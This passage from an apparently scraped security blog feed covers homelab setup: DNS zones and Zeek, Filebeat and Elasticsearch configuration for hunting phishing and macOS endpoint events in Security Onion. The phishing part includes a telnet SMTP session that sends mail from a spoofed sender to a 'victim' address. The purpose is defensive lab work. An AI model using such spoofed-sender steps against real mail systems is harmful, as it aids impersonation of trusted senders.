\u0026#34;blue.local\u0026#34; { type master; file \u0026#34;/etc/bind/db.blue.local\u0026#34;; }; Then in db.kvps.local we set up records for the external mail server:\n$TTL 604800 @ IN SOA kvps.local. root.kvps.local. ( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.kvps.local. @ IN A 10.10.41.103 ns IN A 10.10.41.103 @ IN AAAA ::1 @ IN MX 1 mail.kvps.local. mail IN A 10.10.41.102 And in db.blue.local we set up records for the internal mail server:\n$TTL 604800 @ IN SOA blue.local. root.blue.local. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.blue.local. @ IN A 10.10.41.103 ns IN A 10.10.41.103 @ IN AAAA ::1 @ IN MX 1 mail.blue.local. mail IN A 10.10.41.100 Finally we create reverse zone records for the lab in db.10:\n$TTL 604800 @ IN SOA ns.kvps.local. root.ns.kvps.local. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.kvps.local. @ IN PTR kvps.local. mail IN A 10.10.41.102 ns IN A 10.10.41.103 @ IN MX 102 mail.kvps.local. 103.10.10 IN PTR ns.kvps.local. @ IN SOA ns.blue.local. root.ns.blue.local. ( 2 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns.blue.local. @ IN PTR blue.local. mail IN A 10.10.41.100 ns IN A 10.10.41.103 @ IN MX 100 mail.blue.local. 103.10.10 IN PTR ns.blue.local. We can test that email gets sent with telnet:\ntelnet mail.blue.local 25 MAIL FROM:\u0026lt;newsletter@contoso.com\u0026gt; RCPT TO:\u0026lt;victim@blue.local\u0026gt; DATA Subject: Test from Contoso This is a test message Security Onion Now that we can send and receive email, lets add some data to Security Onion.\nSecurity Onion 2.3 Zeek Zeek has plugins that let you parse email messages. One I included was smtp-url-analysis, which will extract links from email and track whether those links were visited. To add this to Security Onion\u0026rsquo;s Zeek container, we do:\nmkdir -p /opt/so/saltstack/local/salt/zeek/policy/custom cd /tmp git clone https://github.com/initconf/smtp-url-analysis.git mv smtp-url-analysis/scripts/ /opt/so/saltstack/local/salt/zeek/policy/custom/ Then we configure /opt/so/saltstack/local/pillar/minions/$SENSORNAME_$ROLE.sls:\nzeek: local: \u0026#39;@load\u0026#39;: - custom/smtp_url/scripts Filebeat Once Zeek is configured, we need Filebeat to pull in the dataset by adding the following to /opt/so/saltstack/local/pillar/zeeklogs.sls:\n- smtpurl_links Elasticsearch Finally, we need to parse data out of the Zeek logs via an Elasticsearch ingest pipeline. Create a file at /opt/so/saltstack/local/salt/elasticsearch/files/ingest/smtp_urls with:\n{ \u0026#34;description\u0026#34; : \u0026#34;zeek.smtpurl_links\u0026#34;, \u0026#34;processors\u0026#34; : [ { \u0026#34;remove\u0026#34;: { \u0026#34;field\u0026#34;: [\u0026#34;host\u0026#34;], \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;json\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;message2\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.host\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;smtp.url.host\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.url\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;smtp.url.url\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true } }, { \u0026#34;pipeline\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;zeek.common\u0026#34; } } ] } Security Onion 2.4 SO2.4 has changed how some things are configured.\nZeek We still pull this down as previously:\nmkdir -p /opt/so/saltstack/local/salt/zeek/policy/custom cd /tmp git clone https://github.com/initconf/smtp-url-analysis.git mv smtp-url-analysis/scripts/ /opt/so/saltstack/local/salt/zeek/policy/custom/ Then in SOC, navigate to Configuration -\u0026gt; zeek -\u0026gt; config -\u0026gt; local -\u0026gt; load. For your node, add custom/scripts as a script to be loaded.\nElastic Fleet The Elastic Agent/Fleet replace Filebeat. The Fleet pulls the logs from /nsm/zeek/logs/current/*.log and uses an exclude list. We do not need to change anything here.\nElasticsearch This should be mostly the same. I used the name zeek.smtpurl_links to conform with the zeek-logs agent policy.\n","permalink":"https://www.kimobu.space/posts/Adding-Phishing-to-the-Homelab/","summary":"\u003cp\u003eI wanted to add some phishing scenarios to my hunting homelab. I\u0026rsquo;m more concerned with being able to hunt on malicious emails than on stopping them, so \u003ca href=\"https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/\"\u003eDMARC, DKIM, and SPF\u003c/a\u003e are out of scope. If you have an offensive lens, you\u0026rsquo;ll want to look at something like \u003ca href=\"https://www.securesystems.de/blog/building-a-red-team-infrastructure-in-2023/\"\u003ethis\u003c/a\u003e for an effective phishing set up.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s look at two areas: external mail where phishing comes from and internal mail where phishes will be received.\u003c/p\u003e","title":"Putting phishing data into Security Onion"},{"content":"This post has notes on how I added a macOS machine to my security homelab.\nInstall macOS to Proxmox Follow this guide to install macOS onto a Proxmox cluster. This will result in an x86 based VM. I plan on looking into an ARM node in the future. Reference this page if you don\u0026rsquo;t want to extract OSK yourself. Additional note, this installed to local-lvm, not my GlusterFS storage.\nBind macOS to Active Directory Since the rest of the lab is a Windows Active Directory domain, I wanted to join the macOS VM to the domain so domain users could login. Follow the guide here for high level guidance. Ventura changed the look of the Directory Utility but the overall concepts are the same. In Directory Utility, tick the option to \u0026ldquo;create mobile account at login\u0026rdquo; and add the \u0026ldquo;Users\u0026rdquo; OU to allowed administration.\nI had to make sure the DC is syncing time to NTP using:\nw32tm /config /update /manualpeerlist:\u0026quot;0.pool.ntp.org,0x8 1.pool.ntp.org,0x8\u0026quot; /syncfromflags:MANUAL then w32tm /resync /rediscover\nOnce that was done, I made sure macOS is syncing time to the DC via:\nsudo sntp -sS blue-dc01.blue.local\nSecurity tools Finally I wanted to install some telemetry collecting tools. Security Onion uses OSQuery and Elastic.\nKolide launcher/osquery OSQuery is straight forward and deployment is documented in the Security Onion docs.\nElastic Elastic is a bit more complicated. Filebeats is the tool to ship logs from macOS to an Elastic stack. Follow installation instructions here and just make sure the version of Filebeats matches the version provided by Security Onion. My Filebeat config:\nfilebeat.inputs: - type: filestream id: my-filestream-id enabled: true paths: - /var/log/*.log - type: filestream id: eslogger-filestream-id enabled: true paths: - /var/log/eslogger.json filebeat.config.modules: path: ${path.config}/modules.d/*.yml reload.enabled: false setup.template.settings: index.number_of_shards: 1 tags: [\u0026#34;macos\u0026#34;] output.logstash: hosts: [\u0026#34;10.10.10.20:5044\u0026#34;] processors: - add_host_metadata: when.not.contains.tags: forwarded - add_cloud_metadata: ~ - add_docker_metadata: ~ - add_kubernetes_metadata: ~ Logs In the Filebeat config I\u0026rsquo;m sending all the .log files from /var/log/. Only system.log is likely to be useful, but it doesn\u0026rsquo;t really contain security data. The second filestream in the Filebeat config is for /var/log/eslogger.json. Apple\u0026rsquo;s Endpoint Security Framework or ESF will generate data to hunt on. The ESF usage is, IMO, not ideal, so I created a script to run eslogger, eslogger.sh and dropped it in /Library/Scripts.\n#!/bin/bash : \u0026lt;\u0026lt;\u0026#39;END\u0026#39; Events to capture: authentication / T1078 / valid account btm_launch_item_add / T1543 / persistence / sysmon 12 btm_launch_item_remove / T1543 create / TA0003, TA0009 / new file / sysmon 11 deleteextattr / T1553.001 / remove quarantine exec / TA0002 / process creation / sysmon 1 exit / TA0002 / process exit / sysmon 5 kextload / T1547.001 / driver load / sysmon 6 login_login / T1078 / valid account login_logout / T1078 / valid account mount / / mount filesystem openssh_login / T1078 / valid account openssh_logout / T1078 / valid account remote_thread_create / T1055 / inject process / sysmon 8 uipc_connect / TA0010, TA0011 / networkconnect / sysmon 3 unlink / T1070.004 / file delete / sysmon 23 utimes / T1070.006 / timestomp / sysmon 2 write / TA0003, TA0009 / file write / filter for persistence xp_malware_detected xp_malware_remediated END pids=$(ps -ef | grep eslogger | grep -v grep | grep -v bash | grep -v launchctl | awk \u0026#39;{ print $2 }\u0026#39;); for pid in $pids; do kill -9 $pid; done /usr/bin/eslogger authentication btm_launch_item_add btm_launch_item_remove create deleteextattr exec exit kextload login_login login_logout mount openssh_login openssh_logout remote_thread_create uipc_connect unlink utimes xp_malware_detected xp_malware_remediated \u0026gt;\u0026gt; /var/log/eslogger.json Now that script needs to be started. It\u0026rsquo;s just appending all eslogger output to a single JSON file, and it can generate quite a bit of data. To keep my VM\u0026rsquo;s disk from filling up, I wanted to rotate the log. Since I\u0026rsquo;m using a bash script to start eslogger I needed to sequence rotating the logs and restarting eslogger to have it pick up that the log file was rotated and write to the correct one. This is a hacky approach that shouldn\u0026rsquo;t be used in production since there could be a one minute gap in logs.\nFirst, create a launch daemon eslogger.plist that starts the script on a schedule. This daemon will run every day at 12:01AM.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.eslogger\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;/bin/bash\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;/Library/Scripts/eslogger.sh\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;StartCalendarInterval\u0026lt;/key\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;Hour\u0026lt;/key\u0026gt; \u0026lt;integer\u0026gt;0\u0026lt;/integer\u0026gt; \u0026lt;key\u0026gt;Minute\u0026lt;/key\u0026gt; \u0026lt;integer\u0026gt;1\u0026lt;/integer\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;UserName\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;root\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardOutPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/tmp/com.eslogger.stdout\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardErrorPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/tmp/com.eslogger.stderr\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; Next, edit the newsyslog config to rotate logs every day at midnight /etc/newsyslog.d/eslogger.conf. Log rotates at 12:00 and eslogger restarts at 12:01.\n# logfilename [owner:group] mode count size(KB) when flags [/pid_file] [sig_num] /var/log/eslogger.json : 600 2 16384 $D0 J Ingest pipelines Last is to parse the eslogger output into Elastic Common Schema (ECS). I started off trying to use a Logstash pipeline but ended up with an Elasticsearch ingest pipeline. These go into /opt/so/saltstack/local/salt/elasticsearch/files/ingest.\nFirst I copied SO\u0026rsquo;s beats.common and added a pipeline for eslogger:\n{ \u0026#34;pipeline\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.tags?.contains(\u0026#39;macos\u0026#39;)\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;eslogger\u0026#34; } }, Then I created the eslogger pipeline. This was my first time writing an ingest pipeline. I originally tried to just write the pipeline in vim, but found that using the interface in Kibana was more helpful in getting immediate feedback on what data a document provided and how it was changed by the pipeline actions. The resulting pipeline follows. The overall flow is to copy the \u0026ldquo;message\u0026rdquo; field to \u0026ldquo;message2\u0026rdquo;, then examine the keys to determine what type of ESF event was sent and categorize it. Then for each type of event, set ECS fields.\n_2024-12-27: Updated to include process.group_leader.pid and populate common usernames.\n[ { \u0026#34;json\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;message2\u0026#34;, \u0026#34;tag\u0026#34;: \u0026#34;eslogger-json\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.code\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.dataset\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;esf\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;observer.name\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;create\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,process\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;exec\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,launch_item\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;btm_launch_item_add\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;deleteextattr\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,process\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;exit\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,account\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;authentication\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,driver\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;kextload\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,account\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;login_login\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,account\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;login_logout\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,filesystem\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;mount\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,account\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;openssh_login\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,account\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;openssh_logout\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,process\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;remote_thread_create\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;unlink\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;utimes\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;write\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;xp_malware_detected\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.category\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;host,file\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;xp_malware_remediated\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;creation\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;create\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;exec\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;exec\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;btm_launch_item_add\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;btm_launch_item_add\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;deleteextattr\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;process_changed_file\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;end\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;exit\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;authentication\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;authentication\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;kextload\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;driver_loaded\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;login_login\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;user_login\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;login_logout\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;user_logout\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;mount\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;filesystem_mounted\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;openssh_login\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;user_login\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;openssh_logout\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;user_logout\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;remote_thread_create\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;create_remote_thread\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;deletion\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;unlink\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;modification\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;utimes\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;overwrite\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;write\u0026#39;)\u0026#34; } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;xp_malware_detected\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;malware_detected\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;xp_malware_remediated\u0026#39;)\u0026#34;, \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;malware_remediated\u0026#34;, \u0026#34;override\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;ipc_connect\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;uipc_connect\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;set\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;event.action\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;ipc_bind\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.event.containsKey(\u0026#39;uipc_bind\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;ctx[\u0026#39;process\u0026#39;] = [:];\\nif (ctx.containsKey(\u0026#39;message2\u0026#39;) \u0026amp;\u0026amp; ctx.message2.containsKey(\u0026#39;event\u0026#39;) \u0026amp;\u0026amp; ctx.message2.event.containsKey(\u0026#39;exec\u0026#39;) \u0026amp;\u0026amp; ctx.message2.event.exec.containsKey(\u0026#39;args\u0026#39;)) {\\n ctx[\u0026#39;process\u0026#39;][\u0026#39;command_line\u0026#39;] = String.join(\\\u0026#34; \\\u0026#34;, ctx.message2.event.exec.args);\\n def cmd = ctx.message2.event.exec.args[0];\\n def parts = cmd.splitOnToken(\\\u0026#34;/\\\u0026#34;);\\n def name = parts[parts.length -1];\\n ctx[\u0026#39;process\u0026#39;][\u0026#39;name\u0026#39;] = name;\\n}\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2?.event.containsKey(\u0026#39;exec\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true, \u0026#34;description\u0026#34;: \u0026#34;Set process.name and process.command_line\u0026#34; } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;if (ctx.containsKey(\u0026#39;message2\u0026#39;) \u0026amp;\u0026amp; ctx.message2.containsKey(\u0026#39;event\u0026#39;) \u0026amp;\u0026amp; ctx.message2.event.containsKey(\u0026#39;exec\u0026#39;) \u0026amp;\u0026amp; ctx.message2.event.exec.containsKey(\u0026#39;env\u0026#39;)) {\\n for (String envVar : ctx.message2.event.exec.env) {\\n int separatorIndex = envVar.indexOf(\u0026#39;=\u0026#39;);\\n if (separatorIndex != -1) {\\n String key = envVar.substring(0, separatorIndex);\\n String value = envVar.substring(separatorIndex + 1);\\n if (!ctx.containsKey(\u0026#39;process\u0026#39;)) {\\n ctx[\u0026#39;process\u0026#39;] = [:];\\n }\\n if (!ctx.process.containsKey(\u0026#39;env\u0026#39;)) {\\n ctx.process[\u0026#39;env\u0026#39;] = [:];\\n }\\n ctx.process.env[key] = value;\\n }\\n }\\n}\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2?.event.containsKey(\u0026#39;exec\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true, \u0026#34;description\u0026#34;: \u0026#34;Set process.env\u0026#34; } }, { \u0026#34;script\u0026#34;: { \u0026#34;source\u0026#34;: \u0026#34;def userId = ctx[\u0026#39;message2\u0026#39;][\u0026#39;process\u0026#39;][\u0026#39;audit_token\u0026#39;][\u0026#39;euid\u0026#39;];\\nctx[\u0026#39;user\u0026#39;] = [:];\\nctx[\u0026#39;user\u0026#39;][\u0026#39;id\u0026#39;] = userId.toString();\\nif(userId == 829194527) {ctx[\u0026#39;user\u0026#39;][\u0026#39;name\u0026#39;] = \\\u0026#34;michael.scott\\\u0026#34;;}\\nelse if(userId == 793828581) {ctx[\u0026#39;user\u0026#39;][\u0026#39;name\u0026#39;] = \\\u0026#34;sadiq.khan\\\u0026#34;;}\\nelse if(userId == 0) {ctx[\u0026#39;user\u0026#39;][\u0026#39;name\u0026#39;] = \\\u0026#34;root\\\u0026#34;;}\\nelse if(userId == 200) {ctx[\u0026#39;user\u0026#39;][\u0026#39;name\u0026#39;] = \\\u0026#34;_softwareupdate\\\u0026#34;;}\\nelse if(userId == -2) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;nobody\\\u0026#34;}\\nelse if(userId == 0) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;root\\\u0026#34;}\\nelse if(userId == 1) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;daemon\\\u0026#34;}\\nelse if(userId == 4) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_uucp\\\u0026#34;}\\nelse if(userId == 13) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_taskgated\\\u0026#34;}\\nelse if(userId == 24) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_networkd\\\u0026#34;}\\nelse if(userId == 25) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_installassistant\\\u0026#34;}\\nelse if(userId == 26) 